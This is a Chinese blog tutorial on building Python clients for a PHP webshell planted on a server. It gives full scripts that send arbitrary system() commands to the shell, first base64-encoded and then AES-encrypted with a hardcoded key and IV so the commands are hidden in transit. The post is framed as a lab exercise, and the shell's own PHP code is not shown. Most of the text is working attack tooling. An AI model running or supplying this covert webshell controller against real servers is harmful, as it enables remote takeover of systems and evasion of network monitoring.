程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式師世界 >> 編程語言 >  >> 更多編程語言 >> Python

Python連接PHP木馬,並加密傳輸數據

編輯:Python

前面寫過兩篇,但寫的不多。

使用python連接JSP一句話木馬
使用burpsuite對python的post請求進行抓包

今天想起來,於是整合一下,再搞個加密。

base64

先是在 Linux 虛擬機裡面寫個 “兩句話木馬”。

對傳參進行一個 base64 解碼,這就意味著在 Windows 本機上要進行一個 base64 編碼。

import requests
import base64
url = str(input('目標URL:')) # http://192.168.xxx.xxx/shell.php
pwd = str(input('連接密碼:')) # 其實就是一句話木馬中的變量shell
# 用於 burpsuite抓包
proxy = {

'http': '127.0.0.1:8080',
'https': '127.0.0.1:8080'
}
while(True):
cmd = input('輸入執行的命令:')
send = "system(\'" + cmd + "\');"
connect = base64.b64encode(send.encode('utf-8'))
# 將命令傳給一句話木馬
payloads = {

pwd: connect
}
# 向目標url發送post請求
# response = requests.post(url, payloads)
response = requests.post(url, payloads, proxies=proxy)
# 回顯命令執行的結果
print(response.text)

抓包結果如下:



解碼一下可以看出命令。

然後放包,Python代碼接收到返回的數據。

AES

對 shell.php 作出修改。

Python 代碼如下:

import requests
import base64
from Crypto.Cipher import AES
# 密鑰(key), 密斯偏移量(iv) CBC模式加密
BLOCK_SIZE = 16 # Bytes
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
key = '5c47c819bpt3apr0'
vi = '0102030405060708'
def AES_Encrypt(key, data):
data = pad(data)
# 字符串補位
cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
encryptedbytes = cipher.encrypt(data.encode('utf8'))
# 加密後得到的是bytes類型的數據,使用Base64進行編碼,返回byte字符串
encodestrs = base64.b64encode(encryptedbytes)
# 對byte字符串按utf-8進行解碼
enctext = encodestrs.decode('utf8')
return enctext
def AES_Decrypt(key, data):
data = data.encode('utf8')
encodebytes = base64.decodebytes(data)
# 將加密數據轉換位bytes類型數據
cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
text_decrypted = cipher.decrypt(encodebytes)
# 去補位
text_decrypted = unpad(text_decrypted)
text_decrypted = text_decrypted.decode('utf8')
print(text_decrypted)
return text_decrypted
if __name__ == '__main__':
url = str(input('目標URL:')) # http://192.168.223.xxx.xxx/shell.php
pwd = str(input('連接密碼:')) # 其實就是一句話木馬中的變量shell
# 用於burpsuite抓包
proxy = {

'http': '127.0.0.1:8080',
'https': '127.0.0.1:8080'
}
while(True):
cmd = input('輸入執行的命令:')
send = "system(\'" + cmd + "\');"
# 將命令傳給一句話木馬
payloads = {

pwd: AES_Encrypt(key, send)
}
# 向目標url發送post請求
# response = requests.post(url, payloads)
response = requests.post(url, payloads, proxies=proxy)
# 回顯命令執行的結果
print(response.text)

這些加解密算法的代碼,在網上可以很容易找到。

自己也可以對其進行修改

抓包之後得到的結果:

AES模塊安裝

python 在 Windows 下使用 AES 時,要安裝的是 pycryptodome 模塊

pip install pycryptodome

python 在 Linux 下使用 AES 時,要安裝的是 pycrypto 模塊

pip install pycrypto

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式師世界 All Rights Reserved